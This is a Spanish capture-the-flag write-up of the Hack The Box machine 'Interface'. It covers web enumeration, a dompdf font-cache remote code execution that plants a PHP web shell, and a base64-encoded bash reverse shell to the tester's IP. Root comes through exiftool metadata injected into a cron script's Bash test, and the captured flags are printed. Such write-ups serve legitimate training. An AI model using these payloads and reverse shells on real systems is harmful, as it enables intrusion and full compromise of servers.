Interface
12 minutos de lectura
Content-Security-Policy
. Ahí, podemos enumerar dependencias de terceros como dompdf
. Esta es vulnerable a ejecución remota de comandos. Después de mucha enumeración para interactuar con dompdf
, encontramos una manera de obtener una reverse shell en el sistema. Luego, el usuario root
ejecuta un script cada minuto, y el script es vulnerable a inyección de comandos, que debe explotarse agregando metadatos maliciosos a un archivo temporal. Al encadenar estos pasos, podemos obtener una reverse shell como root
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.200
- Fecha: 11 / 02 / 2023
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted -p 22,80 10.10.11.200
Nmap scan report for 10.10.11.200
Host is up (0.057s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7289a0957eceaea8596b2d2dbc90b55a (RSA)
| 256 01848c66d34ec4b1611f2d4d389c42c3 (ECDSA)
|_ 256 cc62905560a658629e6b80105c799b55 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site Maintenance
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.95 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.200
, veremos una página como esta:
Parece una página estática. No hay nada que ver aquí. Cada recurso a los que intentamos acceder da como resultado un error 404 Not Found
:
Si inspeccionamos el código fuente, podemos ver que el sitio web está construido con Next.js (versión 13.0.4):
Hay versiones de Next.js que tienen algunas vulnerabilidades, pero la versión 13.0.4 parece ser segura. Por lo tanto, la explotación no involucra a Next.js.
Este framework utiliza JavaScript para representar la página web, por lo que al inspeccionar los archivos de JavaScript podemos identificar el texto de la página y una dirección de correo electrónico (contact@interface.htb
):
Aún así, si quisiéramos enumerar las rutas disponibles, estarían en la lista sortedPages
del archivo _next/static/<id>/_buildManifest.js
:
La figura anterior muestra que no hay rutas. Por lo tanto, esta página web es un callejón sin salida.
Pero vemos que hay un error en la consola JavaScript:
Habla sobre la cabecera Content-Security-Policy
(CSP). Vamos a ver:
Tenemos este CSP:
script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/ https://ajax.googleapis.com; connect-src 'self' http://prd.m.rendering-api.interface.htb; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com; img-src https: data:; child-src data:;
Aquí podemos encontrar un subdominio: http://prd.m.rendering-api.interface.htb
. Vamos a agregar entonces interface.htb
y prd.m.rendering-api.interface.htb
al archivo /etc/hosts
para continuar enumerando.
Enumeración del subdominio
Tenemos esto:
Vamos a emplear ffuf
para enumerar más rutas:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/FUZZ
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 50ms]
* FUZZ: .
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 44ms]
* FUZZ: vendor
Ahora tenemos /vendor
. De nuevo, no podemos acceder:
$ curl prd.m.rendering-api.interface.htb/vendor -i
HTTP/1.1 403 Forbidden
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 13:33:10 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Access denied.
$ curl prd.m.rendering-api.interface.htb/vendor/ -i
HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 13:33:15 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
File not found.
Entonces, continuamos enumerando:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/vendor/FUZZ
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 48ms]
* FUZZ: .
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 44ms]
* FUZZ: dompdf
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 45ms]
* FUZZ: composer
De nuevo, no podemos acceder a ninguno:
$ curl prd.m.rendering-api.interface.htb/vendor/dompdf -i
HTTP/1.1 403 Forbidden
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 13:41:22 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Access denied.
$ curl prd.m.rendering-api.interface.htb/vendor/dompdf/ -i
HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 13:41:24 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
File not found.
$ curl prd.m.rendering-api.interface.htb/vendor/composer -i
HTTP/1.1 403 Forbidden
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 13:41:29 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Access denied.
$ curl prd.m.rendering-api.interface.htb/vendor/composer/ -i
HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 13:41:31 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
File not found.
El que parece más interesante es dompdf
, porque composer
es solo un administrador de dependencias para aplicaciones PHP. Entonces… continuemos con la enumeración:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/vendor/dompdf/FUZZ
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 41ms]
* FUZZ: .
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 40ms]
* FUZZ: dompdf
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/FUZZ
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 51ms]
* FUZZ: lib
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 42ms]
* FUZZ: .
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 41ms]
* FUZZ: tests
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 43ms]
* FUZZ: src
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 42ms]
* FUZZ: VERSION
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 45ms]
* FUZZ: .git
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 45ms]
* FUZZ: .gitignore
Con la lista de directorios anteriores, podemos suponer que el servidor tiene dompdf
instalado, que es una aplicación PHP para convertir código HTML en documentos PDF.
De hecho, podemos confirmar que es dompdf
enumerando archivos con extensiones y ver que también aparecen en el repositorio de GitHub:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/FUZZ -e .php,.md,.json
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 42ms]
* FUZZ: lib
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 46ms]
* FUZZ: .
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 39ms]
* FUZZ: tests
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 41ms]
* FUZZ: src
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 49ms]
* FUZZ: README.md
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 77ms]
* FUZZ: VERSION
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 44ms]
* FUZZ: .git
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 46ms]
* FUZZ: .gitignore
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 41ms]
* FUZZ: composer.json
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/src/FUZZ -e .php
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 47ms]
* FUZZ: .
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 40ms]
* FUZZ: Css
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 41ms]
* FUZZ: Image
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 44ms]
* FUZZ: Options.php
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 43ms]
* FUZZ: Helpers.php
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 43ms]
* FUZZ: Frame
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 43ms]
* FUZZ: Frame.php
Acceso a la máquina
Buscando vulnerabilidades, podemos encontrar un exploit de ejecución remota de comandos (RCE) para dompdf
en dompdf-rce
(más detalles en positive.security):
Fuente: https://positive.security/blog/dompdf-rce
Sin embargo, para explotar esta vulnerabilidad, debemos interactuar con la aplicación.
Encontrando una API
Tal vez, dado que el nombre de la máquina es “Interface”, debemos encontrar una API (Application Programming Interface). Si volvemos a la fase de enumeración, podemos decirle a ffuf
que capture todos los códigos de estado y filtre los recursos que devuelvan tamaño cero:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/FUZZ -mc all -fs 0
[Status: 404, Size: 50, Words: 3, Lines: 1, Duration: 56ms]
* FUZZ: api
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 54ms]
* FUZZ: .
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 55ms]
* FUZZ: vendor
Ahora tenemos otro endpoint que parece prometedor:
$ curl prd.m.rendering-api.interface.htb/api
{"status":"404","status_text":"route not defined"}
$ curl prd.m.rendering-api.interface.htb/api/asdf -i
HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 14:23:18 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
{"status":"404","status_text":"route not defined"}
Necesitamos enumerar un poco más usando peticiones POST (ya que estamos interactuando con una API, tiene sentido usar POST al igual que GET):
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/api/FUZZ -X POST -mc all -fs 50
[Status: 422, Size: 36, Words: 2, Lines: 1, Duration: 52ms]
* FUZZ: html2pdf
Genial, /api/html2pdf
… Nos estamos acercando.
$ curl -X POST prd.m.rendering-api.interface.htb/api/html2pdf -i
HTTP/1.1 422 Unprocessable Entity
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 14:25:48 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
{"status_text":"missing parameters"}
Ahora necesitamos encontrar parámetros… Más enumeración…
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/api/html2pdf -d '{"FUZZ":"asdf"}' -H 'Content-Type: application/json' -X POST -mc all -fs 36
[Status: 200, Size: 1131, Words: 116, Lines: 77, Duration: 69ms]
* FUZZ: html
Aquí lo tenemos:
$ curl prd.m.rendering-api.interface.htb/api/html2pdf -d '{"html":"asdf"}' -H 'Content-Type: application/json'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
$ curl prd.m.rendering-api.interface.htb/api/html2pdf -d '{"html":"asdf"}' -H 'Content-Type: application/json' -so - | file -
/dev/stdin: PDF document, version 1.7, 0 pages
$ curl prd.m.rendering-api.interface.htb/api/html2pdf -d '{"html":"asdf"}' -H 'Content-Type: application/json' -so - | exiftool - | grep pdf
File Type Extension : pdf
MIME Type : application/pdf
Producer : dompdf 1.2.0 + CPDF
Explotación de dompdf
Ahora es el momento de explotarlo siguiendo el reposotirio de GitHub o el artículo.
Siguiendo el artículo, primero necesitamos crear un archivo CSS que contenga una descripción de @font-face
con una URL en src
que apunte a un archivo PHP malicioso:
@font-face {
font-family: 'exploitfont';
src: url('http://10.10.17.44/exploit_font.php');
font-weight: 'normal';
font-style: 'normal';
}
Este archivo PHP malicioso (exploit_font.php
) comienza como un archivo .ttf
válido (formato TrueType Font). Y en la parte inferior contiene código PHP (por defecto: <?php phpinfo(); ?>
).
A continuación, necesitamos generar un PDF usando este código HTML:
<link rel=stylesheet href=http://10.10.17.44/exploit.css>
Vamos a ello:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
$ curl prd.m.rendering-api.interface.htb/api/html2pdf -d '{"html":"<link rel=stylesheet href=http://10.10.17.44/exploit.css>"}' -H 'Content-Type: application/json'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.200 - - [] "GET /exploit.css HTTP/1.0" 200 -
::ffff:10.10.11.200 - - [] "GET /exploit_font.php HTTP/1.0" 200 -
Ahora, necesitamos encontrar el archivo de tipografía cacheado con el contenido de PHP malicioso. En el artículo, muestra cómo se genera el nombre de archivo:
The filename of a newly cached font is deterministic and based on information we have, namely the font’s name, the chosen style and a hash of its remote URL (line 9-19). The test-font from above with URL
http://attacker.local/test_font.ttf
and weight/style “normal” would e.g. get stored
testfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf
Podemos confirmar que d249c21fbbb1302ab53282354d462d9e
es el hash MD5:
$ echo -n 'http://attacker.local/test_font.ttf' | md5sum
d249c21fbbb1302ab53282354d462d9e -
Entonces, en nuestro caso tenemos:
$ echo -n 'http://10.10.17.44/exploit_font.php' | md5sum
9e9dc3b53bd654b44ddf200e10ff3789 -
Y aquí está:
Intentemos ejecutar comandos usando system
en PHP:
$ sed -i 's/exploit_font/exploit_font_rce/g' exploit.css
$ sed 's/phpinfo()/system($_GET["cmd"])/g' exploit_font.php > exploit_font_rce.php
$ tail -1 exploit_font_rce.php
<?php system($_GET["cmd"]); ?>
$ curl prd.m.rendering-api.interface.htb/api/html2pdf -d '{"html":"<link rel=stylesheet href=http://10.10.17.44/exploit.css>"}' -H 'Content-Type: application/json'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.200 - - [] "GET /exploit.css HTTP/1.0" 200 -
::ffff:10.10.11.200 - - [] "GET /exploit_font_rce.php HTTP/1.0" 200 -
Nótese que usé otro nombre de archivo porque el servidor usa el nombre para la memoria caché, por lo que incluso si modificamos el contenido, el nombre de archivo seguiría siendo el mismo y el servidor usará el archivo de la caché.
Este es el hash MD5 actualizado:
$ echo -n 'http://10.10.17.44/exploit_font_rce.php' | md5sum
39c1a35138a32c02712e18f00def33ae -
Y ahora tenemos ejecución remota de comandos:
Entonces, es hora de obtener una reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl 'prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_39c1a35138a32c02712e18f00def33ae.php?cmd=echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash'
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.200.
Ncat: Connection from 10.10.11.200:45556.
bash: cannot set terminal process group (1442): Inappropriate ioctl for device
bash: no job control in this shell
www-data@interface:~/api/vendor/dompdf/dompdf/lib/fonts$ cd /
cd /
www-data@interface:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@interface:/$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@interface:/$ export TERM=xterm
www-data@interface:/$ export SHELL=bash
www-data@interface:/$ stty rows 50 columns 158
Enumeración del sistema
En este punto podemos leer la flag user.txt
:
www-data@interface:/$ find / -name user.txt 2>/dev/null
/home/dev/user.txt
www-data@interface:/$ cat /home/dev/user.txt
b632095e438a7c0ed59d1c7990106a23
Enumeremos procesos en ejecución con pspy
:
www-data@interface:/$ cd /tmp
www-data@interface:/tmp$ wget -q 10.10.14.61:8000/pspy64s
www-data@interface:/tmp$ chmod +x pspy64s
www-data@interface:/tmp$ ./pspy64s
Después de unos segundos, vemos estos comandos:
CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity
CMD: UID=0 PID=4595 | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/pspy64s
CMD: UID=0 PID=4594 | /bin/bash /usr/local/sbin/cleancache.sh
CMD: UID=0 PID=4593 | /bin/bash /usr/local/sbin/cleancache.sh
CMD: UID=0 PID=4592 | /bin/sh -c /usr/local/sbin/cleancache.sh
CMD: UID=0 PID=4591 | /usr/sbin/CRON -f
CMD: UID=0 PID=4596 | cut -d -f1
CMD: UID=0 PID=4603 | /bin/bash /root/clean.sh
CMD: UID=0 PID=4602 | /usr/sbin/CRON -f
CMD: UID=0 PID=4601 | /bin/sh -c /root/clean.sh
CMD: UID=0 PID=4600 | /usr/sbin/CRON -f
CMD: UID=0 PID=4599 | /usr/sbin/CRON -f
CMD: UID=0 PID=4604 | find /var/www/api/vendor/dompdf/dompdf/lib/fonts/ -type f -cmin -5 -exec rm {} ;
CMD: UID=0 PID=4605 | cp /root/font_cache/dompdf_font_family_cache.php /var/www/api/vendor/dompdf/dompdf/lib/fonts/dompdf_font_family_cache.php
Este comando parece raro:
/usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/pspy64s
Obviamente, no podemos leer /root/clean.sh
, pero sí podemos leer /usr/local/sbin/cleancache.sh
, que es el siguiente script:
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
if [[ -f "$cfile" ]]; then
meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)
if [[ "$meta_producer" -eq "dompdf" ]]; then
echo "Removing $cfile"
rm "$cfile"
fi
fi
done
El comando de antes proviene del script. Está empleando exiftool
para encontrar archivos que tienen dompdf
como metadatos de Producer
.
Por ejemplo:
www-data@interface:/tmp$ touch test
www-data@interface:/tmp$ exiftool -s -s -s -Producer test
Error: File is empty - test
www-data@interface:/tmp$ exiftool -Producer='asdf' test
1 image files updated
www-data@interface:/tmp$ exiftool -s -s -s -Producer test
asdf
Entonces, lo que hace el script es extraer los metadatos de Producer
para los archivos de /tmp
y eliminar los producidos por dompdf
.
Por otro lado, la versión de exiftool
no es vulnerable:
www-data@interface:/tmp$ exiftool test | grep -i version
ExifTool Version Number : 12.55
Escalada de privilegios
Hay un problema con el script en estas líneas:
meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)
if [[ "$meta_producer" -eq "dompdf" ]]; then
# ...
fi
Buscando vulnerabilidades en Bash, encontramos este artículo, que muestra cómo podemos evaluar cualquier código de Bash dentro de expresiones [[ ... ]]
(véase también unix.stackexchange.com). Por lo tanto, pondremos una reverse shell para que root
la ejecute:
www-data@interface:/tmp$ cat > shell.sh
#!/bin/bash
echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash
^C
www-data@interface:/tmp$ chmod +x shell.sh
www-data@interface:/tmp$ touch asdf
www-data@interface:/tmp$ exiftool -Producer='x[$(/tmp/shell.sh>&2)]' asdf
1 image files updated
Observe que el archivo con metadatos (asdf
) tiene que estar antes que el script malicioso (shell.sh
) en orden alfabético; si no, el script se eliminará antes de analizar los metadatos del archivo.
Después de unos segundos, recibimos la reverse shell:
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.200.
Ncat: Connection from 10.10.11.200:33320.
bash: cannot set terminal process group (4914): Inappropriate ioctl for device
bash: no job control in this shell
root@interface:~# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@interface:~# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
root@interface:~# export TERM=xterm
root@interface:~# export SHELL=bash
root@interface:~# stty rows 50 columns 158
Ahora somos root
, por lo que podemos leer la flag root.txt
:
root@interface:~# cat root.txt
c49dbca5c4cb7b0d911163d87319e846